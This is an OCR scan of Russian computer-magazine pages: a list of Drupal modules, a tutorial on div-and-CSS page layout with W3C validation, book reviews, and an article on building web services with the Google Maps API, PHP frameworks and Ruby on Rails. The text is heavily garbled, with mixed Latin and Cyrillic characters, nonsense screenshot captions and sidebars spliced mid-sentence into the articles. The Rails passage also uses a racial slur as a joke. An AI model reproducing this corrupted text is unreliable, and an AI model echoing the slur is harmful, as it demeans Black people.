Позволяет работать с базой данных напрямую через Drupal. С его помощью можно выполнять ЗОЁ-срипты, создавать 
и изменять таблицы, делать резервные копии и тому подобные действия 


E-Commerce 


Для организации меб-магазина Ha сайте 


FCKeditor for Drupal 


Заменяет стандартное поле ввода визуальным редактором FCKeditor 


FileRequest Обрабатывает скачку файлов пользователями, добавляя возможность кеширования и докачки файлов. 
Также предотвращает скачивание файлов через другие сайты, перенаправляя пользователя на документ с ссылкой 
на этот файл. Позволяет добавлять к графическим файлам «водяные знаки» для сохранения копирайта 
Flexiblock Позволяет настраивать внешний вид блоков, добавляя к ним новые регионы, которые затем применяются в темах 
Flexinode Создание новых типов документов с помощью меБ-интерфейса 
Gallery Встраивает в Drupal gallery2 (http://gallery.menalto.com) для создания галерей изображений 
Google Sitemap Создает карту сайта для индексации поисковиком Google 
Htmlarea Позволяет использовать в Drupal’e визуальный редактор HTMLArea для ввода текста 
Image Позволяет Drupal’y работать с графическими файлами, включая создание эскизов изображений 
Img_assist Позволяет вставлять в документы изображения 


Internationalization 


Полностью настраиваемый модуль для поддержки нескольких языков на сайте 


Nice Menus 


Создает ниспадающие меню (CSS или JavaScript). Поддерживает как вертикальные, так и горизонтальные меню 


Organic groups 


Добавляет в Drupal возможность организовывать пользователей в группы (сообщества) 


Pathauto Автоматически создает псевдонимы страниц (URL-agpeca) по типу материала и его названию 

phpBB2Drupal Этот скрипт импортирует базу данных форума phpBB в базу данных Drupal’a 

Project Позволяет программистам разрабатывать проекты в командах. Фактически, это система ведения проектов, 
только встроенная в Огира! 

Site тар Автоматически создает карту на основе его содержимого 


Taxonomy Access Control 


Ограничивает доступ к определенным ярлыкам (элементам словарей) 


Taxonomy Block 


Создает блоки на основе терминов таксономии (ярлыков) 


Taxonomy Browser 


Позволяет выбирать термины таксономии, а затем выдает список документов с этими терминами, фактически создавая 
URL вида taxonomy/view/and/3,4,5 


Taxonomy context 


Позволяет создавать структуру сайта по таксономии, включая названия и описание разделов, цепочки ссылок (breadcrumb), 
контекстно-зависимые меню 


Taxonomy image 


С помощью этого модуля ты прикрепляешь к термину определенное изображение 


TinyMCE WYSIWYG Editor 


Интегрирует в Drupal визуальный редактор TinyMCE. По скромному мнению автора, это лучший визуальный редактор для Drupal’a 


Urlifilter 


Автоматически делает из URL текст ссылки 


User Points 


Представляет собой систему начисления очков пользователям за определенные действия, 
например за размещение материала 


Views Предоставляет возможность создавать списки материалов с помощью меб-интерфейса 

Block Bar Делает блоки сворачивающимися и запоминает информацию о них BO время работы пользователя 

G2 Glossary Позволяет вести на сайте словарь терминов 

htmlwrap Создает фильтр, который разделяет слишком длинные слова (например URL) на более мелкие, чтобы предотвратить 


нарушение дизайна страницы 


Path Access 
Premium 


Ограничивает доступ к материалам сайта no URL 
Позволяет помечать часть материала и делает ее доступной только для пользователей 


Recent blocks 


Создает настраиваемый блок с последними материалами на сайте 


User maintenance 


Позволяет администратору удалять неактивных пользователей 


Weight 


Присваивает материалам веса для сортировки 
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разметка 


для конструктора 


> = воэтой статье я расскажу. о TOM, как верста- 
ются современные мер-страницы, как сделать так, 
чтобы страничка смотрелась в разных браузерах 
максимально единообразно, как сделать странич- 
ку, которая будет просматриваться с любым раз- 
решением экрана. 

Для начала — о том, что такое верстка. Это 
процесс создания меБ-страницы, размещения на 
ней текстового и графического материала. Так что 
сегодня мы сделаем хорошую и правильную 
страницу. 
>» современные меБ-страницы, как правило, 
имеют довольно сложную структуру и состоят из 
нескольких горизонтальных блоков, каждый из ко- 
торых может быть поделен еще и на колонки. Если 
посмотреть внимательно, то большинство страни- 
чек имеют сходные компоненты. Во-первых, ввер- 
ху страницы идет «шапка». В этот блок обычно 
входит логотип, слоган и горизонтальное меню. 
Здесь могут быть размещены и дополнительные 
элементы, например форма поиска по сайту. 
Средний блок будем называть основным. Он со- 
стоит из двух-трех колонок. В крайних колонках, 
как правило, располагаются элементы дополни- 


ПРОФЕССИОНАЛЬНОЕ 
СОЗДАНИЕ 
М/ЕВ-СТРАНИЦ 


О СОЗДАНИИ \МЕВ-СТРАНИЦ СЕГОДНЯ НЕ 
ПИШЕТ ТОЛЬКО ЛЕНИВЫЙ. В ИНТЕРНЕТЕ 
КУЧА СТАТЕЙ НА ЭТУ ТЕМУ, ПОЛКИ МА- 
ГАЗИНОВ ПЕСТРЯТ КНИГАМИ ВРОДЕ 
«HTML ДЛЯ ЧАЙНИКОВ», «CSS ДЛЯ НЕДО- 
РАЗВИТЫХ» И Т.П. ОДНАКО ДЛЯ СОЗДА- 
НИЯ ХОРОШЕГО М/ЕВ-САЙТА НЕДОСТА- 
ТОЧНО ТОЛЬКО ЧТЕНИЯ КНИГ 


БОРИС ВОЛЬФСОН 
{ Бо 


risvolfson@gmail.com} 


тельной навигации, формы входа для просителей 
и различные вспомогательные элементы. Крайняя 
нижняя часть ммеб-страницы обычно содержит ин- 
формацию об авторе сайта, но может включать и 
копию главного меню для удобства навигации. 

Стандартный способ верстки с помощью та- 
блиц предполагает разбиение страницы на от- 
дельные ячейки. Все ячейки таблицы должны быть 
одного размера, для чего нужно либо использо- 
вать вложенные таблицы, либо параметры Tera td: 
colspan для объединения горизонтальных ячеек и 
rowspan — для объединения вертикальных. В ре- 
зультате получается огромное количество НТМЕ- 
кода, который не только будет долго грузиться (In- 
ternet Explorer не показывает таблицу, пока не за- 
грузит ее полностью), но и создаст трудности для 
его изменения и расширения. К тому же желатель- 
но использовать таблицы по их прямому назначе- 
нию — для представления табличных данных, а не 
в качестве блочных контейнеров. 


> = слои. Для разбиения страницы на блоки луч- 
ше использовать именно слои — обычно так назы- 
вают тег div, хотя иногда этот термин переносят и 
на тег span. Мы будем использовать тег div в каче- 
стве строительного элемента. Чтобы задать раз- 
личные параметры (расположение, цвета и проч.), 
для тега div необходимо использовать каскадные 
таблицы стилей (CSS). Благодаря такому способу 
создания меб-страницы получается компактный 
код, который хорошо индексируется поисковика- 
ми, легко поддается изменению и, наконец, почти 
одинаково отображается в разных браузерах. 
Физически слой представляет собой прямо- 
угольник на меБ-странице. Для верстки активно ис- 
пользуются два параметра этого тега. Первых из 
них — float, который задает то, по какой стороне бу- 
дет выравниваться данный элемент. Остальные же 
элементы по умолчанию будут «обтекать его». Мож- 
но задать три варианта этого параметра: left (для ne- 
вого выравнивания), right (для правого выравнива- 


новое 7 
в четвертой 
версии html 


ЧЕТВЕРТАЯ ВЕРСИЯ ЯЗЫКА РАЗМЕТКИ 
ГИПЕРТЕКСТА СОДЕРЖИТ РЯД ЗНАЧИ- 
ТЕЛЬНЫХ УЛУЧШЕНИЙ ПО СРАВНЕНИЮ 
С ПРЕДЫДУЩЕЙ. В НЕЙ ПОЯВЛЯЮТСЯ И 
АКТИВНО ИСПОЛЬЗУЮТСЯ ПОНЯТИЯ 
CSS (ТАБЛИЦ СТИЛЕЙ), ФРЕЙМОВ, 
СКРИПТОВ, НОВЫЕ ПАРАМЕТРЫ ФОРМ, 
УЛУЧШЕНА ПОДДЕРЖКА ИНТЕРНАЦИО- 
НАЛИЗАЦИИ. КАСКАДНЫЕ ТАБЛИЦЫ 
СТИЛЕЙ ПОДТАЛКИВАЮТ К РАЗДЕЛЕ- 
НИЮ СТРУКТУРЫ И ПРЕДСТАВЛЕНИЮ 
ДОКУМЕНТА: СТРУКТУРА ОПИСЫВАЕТСЯ 
С ПОМОЩЬЮ НТМЕ, А ВНЕШНИЙ ВИД — 
С ПОМОЩЬЮ CSS, ЧТО ПОЗВОЛЯЕТ ME- 
НЯТЬ ИХ ПРАКТИЧЕСКИ НЕЗАВИСИМО 
ДРУГ ОТ ДРУГА. ЧАСТО С ПОМОЩЬЮ 
HTML РАЗМЕЧАЮТСЯ НЕ ТОЛЬКО ТЕКСТ 
НА АНГЛИЙСКОМ ЯЗЫКЕ, ПОЭТОМУ 
ДАННАЯ ВЕРСИЯ ЯЗЫКА ПОДДЕРЖИВА- 
ЕТ РАЗЛИЧНЫЕ ВИДЫ ПИСЬМА (В ТОМ 
ЧИСЛЕ И СПРАВА НАЛЕВО). 

А ТЕПЕРЬ САМОЕ ВКУСНОЕ — НОВЫЕ 
ТЕГИ. ДЛЯ ГРУППИРОВКИ ЗНАЧЕНИЙ 
ПОЯВИЛСЯ ТЕГ FIELDSET, А С NOMO- 
ЩЬЮ ТЕГА LEGEND МОЖНО ДАТЬ НАЗ- 
ВАНИЕ ГРУППЕ. ОЧЕНЬ УДОБНО ПРИМЕ- 
НЯТЬ ЭТИ ТЕГИ ДЛЯ ГРУППИРОВКИ 
ЭЛЕМЕНТОВ ФОРМ: 


- - == ee ee ee a 
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Результат применения тегов fieldset и legend 


С ПОМОЩЬЮ ТЕГА МОЖНО СОЗДАВАТЬ 
СЛОЖНЫЕ КНОПКИ — НАПРИМЕР, ДОБА- 
ВИТЬ НА КНОПКУ КАРТИНКУ. ЕЩЕ ОД- 
НИМ НОВОВВЕДЕНИЕМ ДЛЯ ФОРМ ЯВЛЯ- 
ЕТСЯ ВОЗМОЖНОСТЬ НАЗНАЧИТЬ КАЖ- 
ДОМУ ЭЛЕМЕНТУ КЛАВИШУ БЫСТРОГО 
ДОСТУПА С ПОМОЩЬЮ АТРИБУТА АС- 
CESSKEY. ЕЩЕ ДВА АТРИБУТА DISABLED 
И READONLY ПОЗВОЛЯЮТ ОТКЛЮЧИТЬ 
ЭЛЕМЕНТ И СДЕЛАТЬ ЕГО НЕИЗМЕНЯЕ- 
МЫМ (НАПРИМЕР, ПОЛЕ ВВОДА) СООТ- 
ВЕТСТВЕННО. ТЕГ LABEL ПОЗВОЛЯЕТ 
ПРИКРЕПИТЬ МЕТКУ К ЭЛЕМЕНТУ ФОР- 
МЫ, ПРИ ЩЕЛЧКЕ НА КОТОРУЮ ВЫДЕ- 
ЛЯЕТСЯ ТЕКСТ. ИЗМЕНЕНИЯ НЕ ОБО- 
ШЛИ СТОРОНОЙ И ТАБЛИЦЫ: ПОЯВИ- 
ЛИСЬ ЗАГОЛОВКИ, ГРУППЫ СТОЛБЦОВ, 
ТЕПЕРЬ БРАУЗЕР СМОЖЕТ ПРАВИЛЬНО 
ОТОБРАЖАТЬ ТАБЛИЦУ НЕ ДОЖИДАЯСЬ 
ЕЕ ПОЛНОЙ ЗАГРУЗКИ. СКРИПТЫ — КУ- 
ДА ЖЕ БЕЗ НИХ. ФАКТИЧЕСКИ, В ДАН- 
НОЙ ВЕРСИИ ПОЯВИЛАСЬ СОБЫТИЙНАЯ 
МОДЕЛЬ: БОЛЬШИНСТВО ЭЛЕМЕНТОВ 
ТЕПЕРЬ ИМЕЮТ АТРИБУТЫ-СОБЫТИЯ. 
НАПРИМЕР, МОЖНО ВЫЗВАТЬ СКРИПТ 
ПРИ ЗАГРУЗКЕ КАКОГО-НИБУДЬ ЭЛЕ- 
МЕНТА. И ПОСЛЕДНЕЕ, ЧТО ХОЧЕТСЯ 
ОТМЕТИТЬ, — ФРЕЙМЫ, ИМЕННО В 
ЭТОЙ ВЕРСИИ ВПЕРВЫЕ СТАЛО ВОЗ- 
МОЖНЫМ ИХ СОЗДАНИЕ. 


ния) и попе. Второй параметр clear отменяет обтека- 
ние данного элемента другими с определенной сто- 
роны. Для того чтобы запретить обтекание с двух 
сторон, можно использовать значение both. 

> = ставим цель. Не будем заниматься изощрен- 
ным мер-дизайном и сделаем довольно стандарт- 
ную страницу на слоях. 

Из графики на странице есть только лого- 
тип, остальные элементы дизайна можно сделать 
при помощи связки HTML+CSS. Начнем решать 
задачу шаг за шагом. Первым делом еще раз 
уточним способ решения: будем использовать 
XHTML версии 1.0 и CSS во внешнем файле sty- 
le.css, что и пропишем в нашей страничке, 
названной index.htm: 


Здесь я использую самый строгий стандарт языка 
XHTML — Strict, B котором полностью разделяется 
оформление и содержание \меБ-страницы. Также я 
прописал тег meta с кодировкой, в которой мы пи- 
шем нашу страницу. По идее, кодировку должен 
пересылать web-cepBep в заголовке ответа на за- 
прос страницы, но никогда не помешает перестра- 
ховаться. В Tere title прописано название страни- 
цы, а с помощью тега link я подключаю файл sty- 
le.css с каскадной таблицей стилей. 

Все содержимое нашей страницы будет на- 
ходиться в Tere div класса all: 


НТМЕ-шаблон написан, теперь займемся CSS. Мы 
планируем небольшие отступы слева и справа на 
странице, для реализации чего устанавливаем па- 
раметр margin-left и margin-right для тега роду. В 
этом теге также нужно выбрать семейство шриф- 
тов, размер шрифта и фоновый цвет всей станицы. 
Очень желательно прописать нулевые границы и 
внутренние и внешние отступы Tera div. Обрати 
внимание на комментарий: если раскомментиро- 
вать эту строчку, то все блоки будут иметь рамку, 
что очень удобно для определения границ блоков. 

Параметров тега all не будет, он нужен нам 


НТМЕ-РЕДАКТОР 
VS. «БЛОКНОТ» 


Довольно часто приходится слышать 
мнение, что лучше писать web-cTpa- 
нички в простом NotePad, а нев HTML- 
редакторе, специально заточенном 
под меб-программирование (мне нра- 
вится, например, Dreamweaver). На эту 
тему ведутся бесконечные споры, ко- 
торые иногда называют «религиозны- 
ми войнами». Такие «научные дискус- 
сии» можно найти на любом форуме, 
на котором обсуждается ммеБ-дизайн, 
но никакой полезной информации там 
ты не найдешь. Постараюсь расска- 


зать как можно более беспристрастно 
о том, чем пользоваться. 

Иногда действительно проще вос- 
пользоваться редактором вроде блок- 
нота или FAR’om, когда файл неболь- 
шой и имеет простую структуру. Ситуа- 
ция кардинально меняется, когда необ- 
ходимо работать с гигантским файлом 
со сложным кодом. Профессиональные 
редакторы предоставляют и другие пре- 
имущества: подсветка синтаксиса (что, 
в принципе, РАВ с плагинами тоже уме- 
ет), локальная валидация, визуальное 
редактирование, сложные операции. 
Подсветка синтаксиса помогает ориен- 
тироваться в коде, вдобавок можно вос- 
пользоваться функцией автоформати- 
рования, автозакрытием тегов и про- 
веркой синтаксиса на лету. Локальная 


валидация позволяет находить ошибки 
разного рода в коде, не выходя в интер- 
нет. Что касается визуального редакти- 
рования, не подумай, что я призываю 
делать странички именно так. В то же 
время визуальное редактирование мо- 
жет помочь в навигации по документу: 
щелкнул в нужном месте визуального 
представления и перешел в соответ- 
ствующее место в коде. Еще иногда 
нужно проводить различные «сложные 
операции», например заменить в дан- 
ном куске кода все теги р с атрибутом 
align, равным center, на тег span и уста- 
новить атрибут align в значение left. 
Блокнот тут не поможет, а Dreamweaver 
с его мощной функцией поиска и заме- 
ны — еще как. Гвозди можно забивать 
и отверткой, но молотком проще. 
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Все, что мы напишем далее, будет располагаться 
в Tere div класса all. Делаем шапку... Она состоит «Зеленый свет» валидатора 


тинки и подменю, которое появляется при наведе- 
нии (или клике) мышки на пункт главного меню. В 
принципе, вместо подменю можно вставить и бан- 


Их мы можем сделать так же, только без контейнера, 
то есть просто в виде двух слоев. В данном случае нуж- 
но запретить обтекание горизонтального меню слева и 
прикрепить его к левому краю. С формой поиска про- 
делывается то же самое, только для правой стороны. 


Осталось самое вкусное — основная часть страни- 
цы. Пусть она будет состоять из двух колонок. Обе 
колонки пусть лежат в слое-контейнере класса 
middle. Левая колонка имеет класс vertical_me- 
nu_item, правая — тат. Правая состоит еще из 
двух слоев: верхний (breadcrumb, цепочка навига- 
ции) и нижний (content) — собственно главное со- 


жение элементов на странице будут отвечать та- 
блицы стилей: 
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цветом фона этих слоев и увидишь все сам. 
Теперь необходимо правильно расположить 
элементы, для чего опять же используем CSS: 


райтом и дописываем для нее стили: 


обычного текста. Также должны быть проставле- 
ны внутренние отступы. 


Для правильного отображения нужно проставить от- 
ступы и границы параграфов и форм и цвет ссылок. 
Поколдуй сам — оставлю тебе такую возможность. 
>  валидатор. Наступил самый страшный мо- 
мент — проверка кода, написанного нами, валида- 
тором, то есть специальной программой, которая 
проверяет код на соответствие стандартам. Дело в 
том, что обычно стандартный код правильно ото- 
бражается большинством браузеров и более пра- 
вильно индексируется поисковиками. \\еБ-стан- 
дарты устанавливаются организацией The World 
Wide Web Consortium (W3C). Их можно почитать на 
официальном сайте www.w3c.org, там же располага- 
ются и валидаторы. Нам понадобятся два валида- 
тора для проверки HTML и CSS. Могу честно при- 
знаться, при первой проверке выяснилось, что в 
одном месте я не закрыл тег параграфа, к тому же 
валидатор ругнулся на то, что Ter input, который 
стоит в форме поиска, не обернут никаким тегом. 
Исправив ошибки, я (и ты вместе со мной) увидел 
желанный зеленый свет! Что касается С$$-вали- 
датора, то он только выдал несколько предупреж- 
дений (warning). С другой стороны, любое warning — 
это потенциальная ошибка. 

> BOTW подошла к концу работа над страничкой. 
Идею можно развить: подобрать нормальные цвета, 
добавить побольше графики и проч. Главное — что 
основа уже заложена и что она сделана при помощи 
слоев. Эта страничка отображается одинаково в са- 
мых популярных браузерах, а низкое разрешение 
монитора не повредит комфортности ее просмотра, 
так как мы сделали резиновый дизайн © 


Maps Бана: mops а gee 


Seqeteererace: cree 

Вы 

WS аа ыы, вы ЗЕ риф сана 

Парта Ков еееле саит одет ееег. ить аи еетчие 

be Se ee «БЫ Нее Пн ки 

Lares и 

Cet ener еее mere 

ee Se ee ее ры ны 

Mage bagel Bee eee la ee eer 
— =e = 


Наша страничка в IE ив Firefox 
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SPE@IALOB30P 


HTML u CSS Ha 
примерах 


СПб.: БХВ-Петербург, 2005 
Мержевич В.В. / 448 страниц 
Разумная цена: 160 рублей 


HTML — прежде всего 
система верстки, 
определяющая то, как и какие элементы 
должны располагаться на web-cTpaHuye. 
Способ представления информации и 
оформления зависят исключительно от 
разработчика. Однако HTML имеет массу 
ограничений, которые когда-то приходилось 
обходить через одно место: применение 
изображений вместо текста, таблицы с 
невидимой границей, прозрачные рисунки 
для контроля нужных отступов и пустого 
пространства и т.п. Сложность разработки 
крупных проектов из-за этого только 
повышалась. Стили же частично решают 
подобные проблемы, не заменяя, а дополняя 
НТМЕ. Другими словами, С$$ (каскадные 
таблицы стилей) — это набор параметров 
форматирования, который применяется к 
элементам документа и изменяет их внешний 
вид, причем стили легко «прикручиваются» к 
любому тегу. CSS расширяют возможности 
дизайна и верстки страниц. И данная книга — 
набор советов, рецептов и хитростей для 
работы с HTML и CSS. 


Чауа-сервлеты 
и JSP: сборник 
рецептов 


М.: КУДИЦ-ОБРАЗ, 2005 
Перри Б. / 768 страниц 
Разумная цена: 288 рублей 


Сервлет — это класс Java, 

предназначенный для 
динамического формирования содержимого 
ответа на запрос клиента по сети. Если тебе 
знакомы С@!-программы и скрипты, то 
поймешь: сервлеты — это технология Java, 
способная заменить их. JSP (Java Server 
Pages) — серверные страницы Java, в 
которых уауа-код перемешивается с 
JavaScript и HTML. Сервлеты (и JSP) часто 
называют также \меБ-компонентами. В книге 
собрано более 200 практических примеров 
и советов по решениям различных задач с 
использованием сервлетов или JSP: работа 
с БД, аутентификация клиентов, работа с 
почтой, обработка данных из формы, 
работа с cookie, работа с мультимедиа, 
использование «сеансов», работа с 
фильтрами, использование доступных 
библиотек и многое другое. 
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возведи 


свой сервис! 


Главное в создании меб-сервиса — это идея и ее 
быстрое воплощение. Мы расскажем о том, как 
можно быстро реализовать свою идею в коде. 

> смешать, но не взбалтывать. Самый простой 
способ создать собственный сервис — позаимство- 
вать сервис, в котором есть API, перемешать по вку- 
су ивыдать жаждущим. Однако обо всем по порядку. 

Многие сервисы предлагают АР! для досту- 
па к данным, что позволяет пользователям полу- 
чать информацию не в виде набора HTML-ctpa- 
ниц, а в более формализованном виде. Простей- 
шим примером такого АР! является RSS (Really 
Simple Syndication) и предложение сайта получить 
10, 20, 30 и т.д. новостей в этом формате. При ис- 
пользовании RSS ты сможешь публиковать на 
своем сайте новости сторонних проектов не ис- 
пользуя сложных НТМЁ-парсеров. Этот пример 
самый примитивный. 

Более сложные АР! предоставляют более 
широкие возможности. Например, АР! известной 
Google Maps позволяет наносить на карту мира 
любые метки и использовать геоинформацию в 
корыстных целях. Кстати, недавно в Google Maps 
появилась полная карта Москвы с названиями 
улиц — повод задуматься. Альтернативой Google 
Maps является Virtual Earth ot Microsoft. Что вы- 


РЕАЛИЗАЦИЯ 
ИДЕИ В КОДЕ 


КАЖДЫЙ ИНТЕРНЕТ-ПОЛЬЗОВАТЕЛЬ, KO- 
ТОРЫЙ УМЕЕТ ЧИТАТЬ И СЛУШАТЬ, ЗНА- 
КОМ С WEB 2.0. КАЖДЫЙ УВАЖАЮЩИЙ 
СЕБЯ М/ЕВ-РАЗРАБОТЧИК НЕ ОДИН РАЗ 
ПОДУМЫВАЛ О М/ЕВ-СЕРВИСЕ ИЛИ ПЫ- 
ТАЛСЯ СОЗДАТЬ ЕГО. ЧЕМ ВЫЗВАН ИХ 
БЛАГОРОДНЫЙ ПОРЫВ? ИНОГДА ЖАЖДА 
СЛАВЫ, ИНОГДА ЖЕЛАНИЕ ПРОВЕРИТЬ 
СВОИ СИЛЫ, ИНОГДА ПЕРСПЕКТИВА ЗА- 
РАБОТКА 


АНТОН СКОРОБОГАТОВ 
{ технический директор 
Defa Gruppe} 


брать — решать тебе. Добавлю только, что пока 
Россия представлена лучше всего в Google Maps. 
> работать с API несложно, достаточно базо- 
вых знаний XML, РНР и JavaScript. 


Ш 


Эта простая НТМЁ-страничка загрузит карту раз- 
мером 500 на 300 пикселей, в центре которой рас- 
положен московский Кремль. Все общение с Goo- 
gle Maps, как видно по этому примеру, ведется че- 
рез JavaScript-o6bekt GMap2. Интерфейс к нему 
открыт и описан на странице документации 
www.google.com/apis/maps/documentation) Бармены web 
2.0 делают поистине впечатляющие коктейли на 
основе этого АР! — Mashup, и это только один 
пример из известных API. На сайте Programmab- 
leWeb ты сможешь найти более 200 API, которые 
помогут в реализации твоих идей, и более 600 
mashup на их основе. И не забудь: смешать, но не 
взбалтывать. 

> пять пудов РНР. PHP — один из самых про- 
стых и, пожалуй, самый распространенный язык 
программирования для web’a. Как же можно бы- 
стро создать на РНР свой сервис? Писать с нуля — 
долго и неэффективно. Что же делать в такой си- 
туации? На помощь придут фреймворки — наборы 
программных компонентов, которые подогнаны 
друг к другу и вместе составляют базу для написа- 
ния твоей программы. Использование фреймвор- 
ка значительно сокращает время разработки, по- 
скольку большинство рутинных операций уже реа- 
лизовано в коде. Тебе остается лишь концептуаль- 
ная часть. Не нужно думать о SQL-3anpocax, о вали- 
дации форм, об авторизации пользователя — обо 
всем этом подумали создатели фреймворков. Так 
что советую перестать изобретать велосипед, то 
есть взять готовый и ездить именно на нем. 

На выбор предлагается множество моделей: 

CakePHP, Seagull, Symfony, Zend Framework и мно- 
гие-многие другие. Каждый имеет свои плюсы и 
минусы, выбор за тобой. Ориентируйся на фрейм- 
ворки, заточенные под РНР 5: использование осо- 
бенностей новой версии дает преимущество не 
только в скорости разработки, но и в скорости ра- 
боты самого скрипта. 
-> —_ остановимся на дополнительных библиотеках, 
которые наверняка понадобятся при создании 
собственного сервиса. Для работы с Google Maps 
используй GoogleMapAPI от PHPInsider (www-phpinsi- 
der.com/php/code/GoogleMapAP!) — эта библиотека упро- 
щает работу. 
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пример кода, переписанного 
с использованием GoogleMapAPI 


Собственно код ненамного короче, иногда он по- 
лучается даже длиннее, а сколько возможностей 
открывается... В базе данных ты можешь хранить 
точки на карте и добавлять их на страницу лишь 
вызовом метода: $map->addMarkerByCoords($lon,- 
$lat,$title = ",$html = "), где $lon — долгота точки, 
$lat — широта, $title — заголовок точки, а $html — 


кусок кода, который будет показан во всплывающей 


сможешь создавать собственные карты, слои для 
карт и ставить сколько угодно меток на карте. Захо- 


точки выхода в иные измерения и места сходок. 

Для работы с большинством сервисов доста- 
точно RSS-napcepa (например, MagPieRSS — 
http://magpierss.sourceforge.net), Именно в RSS предо- 
ставляют данные del.icio.us, last.fm, flickr и другие 
сервисы, ориентированные на распространение 


Артем Иванов — 
ведущий программист 
проекта распознавания 
личности, аспирант 
Нижегородского 
института прикладной 


физики РАН 


jah ДУМАЮ, ПРИМЕРЫ ПРИМЕНЕНИЯ 
WEB-CEPBUCOB МОЖНО НАЙТИ НА 
МНОГИХ РЕСУРСАХ В СЕТИ. А КАК 
= РАЗДЕЛИТЬ НАПРАВЛЕННОСТЬ 
ЭТИХ РЕСУРСОВ И ВЫДЕЛИТЬ ИЗ 
ВЕ НИХ САМЫЕ УСПЕШНЫЕ? «УСПЕШ- 
НЫЕ» ЗНАЧИТ «САМЫЕ ПОСЕЩА- 
ЕМЫЕ, ПРИНОСЯЩИЕ ДОХОД, ИЗ- 
ВЕСТНОСТЬ»? ПОСЕЩАЕМОСТЬ НЕ 
ПРИНОСИТ ДОХОДА САМА ПО СЕБЕ, 
ПОЭТОМУ ПРИ РАБОТЕ С WEB-CEP- 
ВИСАМИ ВАЖНО ВЫДЕЛИТЬ СВОЕ 
ПОЛОЖЕНИЕ В «ПИЩЕВОЙ ЦЕПИ»: 
КОММЕРЧЕСКАЯ РАЗРАБОТКА И ПУ- 
БЛИКАЦИЯ СЕРВИСОВ В ОБЩЕИЗ- 
ВЕСТНЫХ РЕСУРСАХ, ИНТЕГРАЦИЯ 
КОМПАНИЙ В РАМКАХ СЕТИ ПОД- 
< ПИСЧИКОВ КАКИХ-ЛИБО СЕРВИ- 
COB. УСПЕХ ЭТОЙ ТЕХНОЛОГИИ — 
УСПЕХ КАЖДОГО, КТО РИСКНЕТ РЕ- 


Е 


м H 


L 


я: АЛИЗОВАТЬ СВОЮ ИДЕЮ. ЕСЛИ 
СОЗДАНИЕ СЛОЖНЫХ ПРОДУКТОВ 
о (СИСТЕМЫ УПРАВЛЕНИЯ КОНТЕН- 
ТОМ ИЛИ САЙТА ЗНАКОМСТВ) ПО- 
Ww ТРЕБУЕТ МАССЫ ЧЕЛОВЕЧЕСКИХ И 


ВРЕМЕННЫХ РЕСУРСОВ, ТО СОЗДА- 

НИЕ КАКОГО-НИБУДЬ ИНТЕРЕСНО- 
Ou ГО И ПОЛЕЗНОГО СЕРВИСА NOMO- 

ЖЕТ ТЕБЕ В КОММЕРЧЕСКОМ ПРО- 
wn ДВИЖЕНИИ ИДЕИ. 


пользовательского контента. Также могут понадо- 
биться библиотеки для работы с REST, XMLRPC, 
JSON — ты всегда найдешь их в Сети в изобилии. 
Используя готовый framework и сторонние 
библиотеки для работы с сервисами, ты сможешь 
быстро изготовить свой коктейль и так же быстро 
предложить его на суд пользователей, но для раз- 
работки полноценного сервиса с нуля стоит попро- 
бовать и другие языки программирования. 
3»  рубиновые рельсы. Ruby On Rails — это 
фреймворк для создания меб-приложений Ha язы- 
ке Ruby. Слово «Ruby» вошло в лексикон кодера и 
стало очень модным, хотя он скрывает в себе 
смертельную опасность для негров-кодеров, кото- 
рые умеют быстро печатать на клавиатуре, но не 
умеют думать. Надеюсь, ты не такой, в тебе сидит 
здоровая лень, то есть, как известно, двигатель 
прогресса. Начни с закачки пакета InstantRails 
(http:/instantrails.rubyforge.org/wiki/wiki.pl), OH представля- 
ет собой сборку Apache, MySQL и Ruby и работает 
без установки. Скачал, распаковал — работает! 
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основные 
направления 
сервисов 


С КАЖДЫМ ДНЕМ СТАНОВИТСЯ ВСЕ 
СЛОЖНЕЕ И СЛОЖНЕЕ НАЙТИ ХОРО- 
ШУЮ ИДЕЮ ДЛЯ WEB-CEPBUCA. КАЖ- 
ДЫЙ ДЕНЬ ПОЯВЛЯЕТСЯ ЧТО-ТО НОВОЕ 
(ЧТОБЫ БЫТЬ В КУРСЕ, ЧИТАЙ БЛОГ 
THE MUSEUM OF MODERN BETAS — 
http://momb.socio-kybernetics.net), НАПРИМЕР, 
СУЩЕСТВУЕТ ОГРОМНОЕ МНОЖЕСТВО 
СЕРВИСОВ ТАК НАЗЫВАЕМЫХ «СО- 
ЦИАЛЬНЫХ ЗАКЛАДОК», ПРИЧЕМ В СА- 
МЫХ РАЗНЫХ ВАРИАЦИЯХ. ВСПОМНИ 
DEL.ICIO.US, FURL, SPURL И Т.Д. И Т.П. 
ЕСТЬ И ПРОЕКТЫ С ОТКРЫТЫМ ИСХОД- 
НЫМ КОДОМ, РЕАЛИЗУЮЩИЕ БАЗОВУЮ 
ФУНКЦИОНАЛЬНОСТЬ ТАКИХ СЕРВИ- 
COB, — ХОРОШАЯ ПЛОЩАДКА ДЛЯ 
ТВОЕГО СТАРТА. ПОДУМАЙ, КАК МОЖ- 
НО УЛУЧШИТЬ СЕРВИС. 


ПИОНЕРЫ НЕ ВСЕГДА ОКАЗЫВАЮТСЯ 
НА КОНЕ, ИНОГДА НЕОБХОДИМА НЕ- 
БОЛЬШАЯ ДОРАБОТКА СЕРВИСА НА- 
ПИЛЬНИКОМ, ЧТОБЫ ОН НАЧАЛ ПОКО- 
РЯТЬ СЕРДЦА ПОЛЬЗОВАТЕЛЕЙ. ТАК 
ЧТО, ПЕРЕД ТЕМ КАК СЯДЕШЬ ПРО- 
ГРАММИРОВАТЬ, ХОРОШЕНЬКО ПРО- 
ШЕРСТИ ИНТЕРНЕТ И НАЙДИ КАКОЙ- 
НИБУДЬ СЕРВИС. ПОТОМ ПОДУМАЙ, КО- 
МУ ОН МОЖЕТ БЫТЬ ПОЛЕЗЕН. ТОЛЬКО 
ТЕБЕ? УЖЕ ХОРОШО. ЕСЛИ ЖЕ НИКА- 
КОЙ ПОЛЬЗЫ НЕ ОБНАРУЖЕНО, БРАТЬ- 
СЯ ЗА РАЗВИТИЕ НЕ СТОИТ. 


Разработчики некоторых РНР-фреймворков пы- 
таются копировать принципы ROR. CakePHP, 
Symfony, РНР on Trax — все это попытки перене- 
сти изящность и элегантность ROR в мир РНР. 
Однако изящность ROR состоит не в самом набо- 
ре библиотек, а находится на уровне языка Ruby. 
РНР-фреймворки полезны, но не обеспечивают 
того уровня fun в программировании, который га- 
рантирует Ruby. 

RoR вобрал в себя практически все паттер- 
ны объектно-ориентированного подхода к про- 
граммированию. Самым востребованным шабло- 
ном является Active Record. Часто программисты 
пытаются облегчить процесс выборки информа- 
ции из базы данных — пишут различные соб- 
